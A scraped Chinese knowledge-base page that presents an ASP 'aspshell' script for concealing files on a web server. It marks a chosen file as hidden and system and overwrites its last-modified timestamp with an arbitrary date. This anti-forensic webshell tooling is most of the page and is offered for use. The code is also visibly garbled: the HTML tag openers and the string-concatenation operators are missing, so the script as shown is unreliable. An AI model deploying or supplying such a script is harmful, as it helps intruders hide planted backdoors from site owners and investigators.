主頁 > 知識庫 > asp 隱藏并修改文件的最后修改時間

asp 隱藏并修改文件的最后修改時間

熱門標(biāo)簽:騰訊地圖標(biāo)注商戶關(guān)閉 武漢營銷電話機器人軟件 徐州人工智能電銷機器人好用嗎 智能電銷機器人適用于哪些行業(yè) 地圖標(biāo)注宅基地 外呼系統(tǒng)還用卡么 西寧公司外呼系統(tǒng)平臺 長沙防封電銷卡品牌 地圖標(biāo)注服務(wù)哪家好

源碼:
復(fù)制代碼 代碼如下:

%
'隱藏并修改文件的最后修改時間的aspshell
'原理:通過FSO可以修改文件的屬性,比如設(shè)置為只讀,隱藏,系統(tǒng)等等;FSO中的attributes屬性修改文件屬性,1只讀,2隱藏,4系統(tǒng)文件
' 通過shell.application可以給文件重新設(shè)置一個最后修改時間
'2009/02/24 write by skyfire
response.write "form method=post>"
response.write "路 徑:input name=path value='"server.mappath("/")"' size='30'>(一定要以\結(jié)尾)br />"
response.write "文件名稱:input name=filename value='test.txt' size='30'>br />"
response.write "修改時間:input name=time value='12/30/2099 12:30:30' size='30'>br />"
response.write "input type=submit value=修改并隱藏文件>"
response.write "/form>"
'獲取提交的參數(shù)
set path=request.Form("path")
set fileName=request.Form("filename")
set newTime=request.Form("time")
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'通過fso設(shè)置文件屬性
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.getFile(pathfileName)
file.attributes=2+4 '設(shè)置文件屬性為隱藏+系統(tǒng)
'通過shell.Application修改文件的最后修改時間
Set shell=Server.CreateObject("Shell.Application")
Set app_path=shell.NameSpace(server.mappath("."))
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
end if
%>

標(biāo)簽:荊門 普洱 巴彥淖爾 運城 通化 通遼 雅安 鷹潭

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《asp 隱藏并修改文件的最后修改時間》,本文關(guān)鍵詞  asp,隱藏,并,修改,文件,的,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《asp 隱藏并修改文件的最后修改時間》相關(guān)的同類信息!
  • 本頁收集關(guān)于asp 隱藏并修改文件的最后修改時間的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章